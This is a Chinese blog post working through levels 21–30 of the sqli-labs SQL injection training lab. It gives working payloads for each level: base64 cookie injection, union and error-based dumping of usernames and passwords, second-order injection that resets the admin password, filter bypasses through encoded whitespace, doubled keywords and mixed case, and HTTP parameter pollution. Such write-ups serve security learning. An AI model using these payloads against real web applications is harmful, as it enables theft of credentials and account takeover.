• sqli-labs闯关之21-30关


    不管是第几关,我们的最终目标是获得用户密码,从而获取最高权限!

    第二十一关

    我们输入用户名密码之后发现是这个样子的,和第20关很像,就是cookie的值变成了一堆字母数字,

    这是对cookie的值进行了base64的处理,其他和20关一样

    代理,抓包,,

    当然要先确认cookie后面的构造,通过测试是单引号括号闭合'),当然这个也要转码,

    给大家一个在线加密解密网站

    获取数据库名

    -giao') union select 1,2,database()#
    转义后
    LWdpYW8nKSB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj

    最后获得用户名密码,中间步骤不再一一截图,里面的语句和第一关一样

    这是语句   -admin') union select 1,2,group_concat(username,0x3a,password) from users#

    这是base64转码     LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQodXNlcm5hbWUsMHgzYSxwYXNzd29yZCkgZnJvbSB1c2VycyM9

     第二十二关

    这一关还是输入用户名密码先试试,发现和21关一样

     

    还是那个步骤先试试是啥闭合方式,发现是双引号闭合,

    这就好办了,其他和上一关一样(步骤都一样,直接给最后一步)

    这是语句    -admin" union select 1,2,group_concat(username,0x3a,password) from users#=

    这是base64码    LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGdyb3VwX2NvbmNhdCh1c2VybmFtZSwweDNhLHBhc3N3b3JkKSBmcm9tIHVzZXJzIz0g

    第二十三关

    上来先看一下23关,赶紧又回归原始了昂,看上去第一关有点像,那还是哪些步骤试一试嘛

    我刚开始我试了试发现字符型注入但是后面有个问题,可以用and 但是不能用联合查询语句了,一看php文件原来他把   #  --+注释符号给过滤掉了

    一种是用union select联合查询放在id里面             ?id=' union select 1,13,database() '

     爆表

    ?id=' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database() or '1'= '

     爆列

    ?id=' union select 1,2,group_concat(column_name)from information_schema.columns where table_name='users' or '1'= '

     爆用户名密码

    ?id=' union select 1,group_concat(username),group_concat(password) from users where 1 or '1'= '

    另一种是利用or "1"="1来闭合后面的双引号也。可以达到我们的目的(简单测试不再赘述,代码和第五关的基本一样)    ?id=-1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1

     第二十四关

     这里是个二次注入,我们可以先注册一个admin'#的账号,在修改密码处我们就可以用自己的密码修改admin的密码了,(从数据库中修改是查找的‘admin’#‘,并不会进行转义,所以最后修改的是admin的密码)

    Sql语句变为UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password='
    也就是执行了UPDATE users SET passwd="New_Pass" WHERE username =' admin'

    注册admin'#,,,密码为123

     登入

     修改密码为123456

     这时我们就可以用admin用户登入啦

    第二十五关

    这关一上来好像就告诉我们不能用and和or进行注入,那咱就不用了,

    接下来有三种方法(具体步骤不再截图)

    第一种方法,用--+  #这种普通注入  ?id=-1' union select 1,13,database()--+

    第二种方法双写or和and,因为它过滤一个,我们就让过滤后的东西再组成一个   

    ?id=-1' union select 1,2,group_concat(username,0x7e,passwoorrd) from users--+

     

      第三种方法,使用&&, 第三种方法,使用&&,||绕过   

    ?id=1’|| extractvalue(1,concat(0x7e,database()))–+ 

    第二十五a关

    通过这关的题目我们可以发现这关是盲注,所以说只是不回显了的不用and和or,

    而且我测试发现,这关是数字型注入也就是说没有引号

     说是盲注但是还有回显,因为有回显位,,双写or绕过

     一说到盲注咱们就想到啥了?那肯定是时间盲注和布尔盲注对吧

    时间盲注   ?id=-1 || if(length(database())=8,1,sleep(3))# 

    第二十六关

    咱直接看它的php文件吧,,直接来了个过滤大套餐,

    我们可以用URL编码

    %09 TAB键(水平)
    %0a 新建一行
    %0c 新的一页
    %0d return功能
    %0b TAB键(垂直)
    %a0 空格

    %27单引号

    用'1'='1进行闭合(注意在hackbar中输入&&时,需要自行URL编码为%26%26,否则会报错,而输入||不需要)

    确定显示位   ?id=0%27union%a0select%a01,2,3%a0%26%26%a0%271%27=%271

    爆库名   ?id=0'union%a0select%a01,database(),3%26%26'1'='1

    查表名

    ?id=0%27union%a0select%a01,group_concat(table_name),3%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema='security'%26%26%a0'1%27='1

    爆列名    ?id=0'%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema='security'%0baandnd%0btable_name='users'%0b%26%26%0b'1'='1

     爆用户名密码   ?id=0'%a0union%a0select%a01,group_concat(username,0x3b,passwoorrd),3%a0from%a0users%a0where%a0'1%27='1(这里不同的是后面多了where '1'='1,是为了让语句变成无约束查询)

    还有一种就是用连接符结合上几天xpath报错获取信息来获取信息    

    ?id=-1'||updatexml(1,concat('~',database(),'~'),3)||'

     除此之外,

    还可以盲注     ?id=0'||left(database(),1)='s'%26%26'1'='1

    第二十六a关

    这关与上一关的区别在于,在后面加上了括号进行闭合,

    同时在sql语句执行抛出错误后并不在前台页面输出。所有我们排除报错注入,这里依旧是利用union注入

    获取数据库名                      

    ?id=0')%0bunion%0bselect%0b1,database(),3%0b||('1')=('1

    爆表名  ?id=0')%0bunion%0bselect%0b1,group_concat(table_name),3%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema='security'%26%26('1')=('1

    爆列名      ?id=0')%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema='security'%0baandnd%0btable_name='users'%26%26('1')=('1

    爆用户名密码  ?id=100')%0bunion%0bselect%0b1,group_concat(username,0x3b,passwoorrd),3%0bfrom%0busers%0bwhere%0b('1')=('1

    第二十七关

    与26关一样,这次去除了逻辑运算符添加了union seclet。

    同样利用26关的方式,采取%a0来代替空格

    这里过滤了union select ,所以我们采用大小写方式去绕过,双写是不行的

    爆库名    ?id=0'%a0uniOn%a0sElEct%a01,database(),3%a0or%a0'1'='1

    爆表名     ?id=0'%a0uniOn%a0sElEct%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0'1'='1

    爆列名     ?id=0'%a0uniOn%a0sElEct%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0And%a0table_name='users'%a0%26%26%a0'1'='1

    爆用户名密码   ?id=0'%a0uniOn%a0sElEct%a01,(group_concat(username)),3%a0from%a0users%a0uniOn%a0seLect%a01,2,'3

    获得用户名密码

    第二十七a关

    和第二十七关一样,就是把单引号变成双引号闭合了 

    实验一下    ?id=0"%A0or(1)=(1)%26%26%a0"1

    获得数据库长度   ?id=1"and(length(database())>8)%a0uNion%a0sELect%a01,2,"3

    获得数据库名    ?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,database(),"3

    爆表名(查表面需要闭合后面双引号我就用"1"="1来闭合,前面还需要&&(%26%26)并一起,要不然会显示不出来,这个我经常忘记,没有就会出现这种情况)

    ?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0"1"%a0="1

    爆列名        ?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0And%a0table_name='users'%26%26%a0"1"%a0="1

    爆用户名密码      ?id=-1"%a0And%a0(length(database())>8)%a0UNion%a0SElect%a0(1),(group_concat(username)),(3)from%a0users%a0UNion%a0SElect%a01,2,"3"="3 

    获取用户名密码

    第二十八关

    这关在之前的技术上,加上了union和select的大小写也过滤了,都不能用了

    我们直接用盲注,进行测试,一点一点试(其他的不赘述了)

     得到数据库名  (用联合查询语句的方法) (过滤union select这一个组合,也要过滤空格,所以采用union union select select方法绕过,空格照样用%0a替换)

    ?id=0')%A0Union%A0selECt(1),version(),database()%26%26%A0('1

    第二十八a关

    只是把第28关改成了双引号,,发现id=1")和id=1)"这样也行

     爆数据库名       ?id=0')UNion%a0SElect%a01,database(),('giao')=('giao

    爆表名     ?id=0')UNion%a0SElect%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0('giao')=('giao

     爆列名     ?id=0')UNion%a0SElect%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0ANd%a0table_name='users'%a0%26%26%a0('giao')=('giao

    爆用户名和密码     ?id=0')UNion%a0SElect%a01,(group_concat(username)),3%a0from%a0users%a0where%a0('giao')=('giao

      当然除了联合查询语句还可以   盲注    0')||left((database()),1)='s';%00

    第二十九关

    上来测试是双引号单引号,一般来说都是单引号下一关是双引号,这个是直接就是双引号,并且两个单引号也可以,那么语句可能是 select * from users where id='xx' limit 1,1

     获得数据库名(union select  联合查询语句直接上,和之最开始前几关一样)(另外发现#在这关不能用)

    爆表名   ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

    爆列名     ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

    爆用户名和密码     ?id=-1' union select 1,2,group_concat(username,0x7e,password) from users--+

    另外还有别的方法

    利用tomcat与apache解析相同请求参数不同的特性,tomcat解析相同请求参数取第一个,而apache取第二个,如?id=1&id=2,tomcat取得1,apache取得2
    获得表名    ?id=1&id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

    第三十关

    这关和上一关一样,就是把单引号换成了双引号,

    爆用户名密码     ?id=-1" union select 1,2,group_concat(username,0x7e,password) from users--+

     另外和上一关一样,也可以利用tomcat与apache解析相同请求参数不同的特性

    ?id=1&id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

    结束

  • 相关阅读:
    第四周进度条
    单元测试
    第四周开发日志(psp)
    软件工程个人作业03
    第四周课堂作业——单元测试
    进度条 第三周
    开发日志
    软件工程个人作业2
    《构建之法》阅读笔记01
    第一二周进度条
  • 原文地址:https://www.cnblogs.com/escwq/p/12264076.html
Copyright © 2020-2023  润新知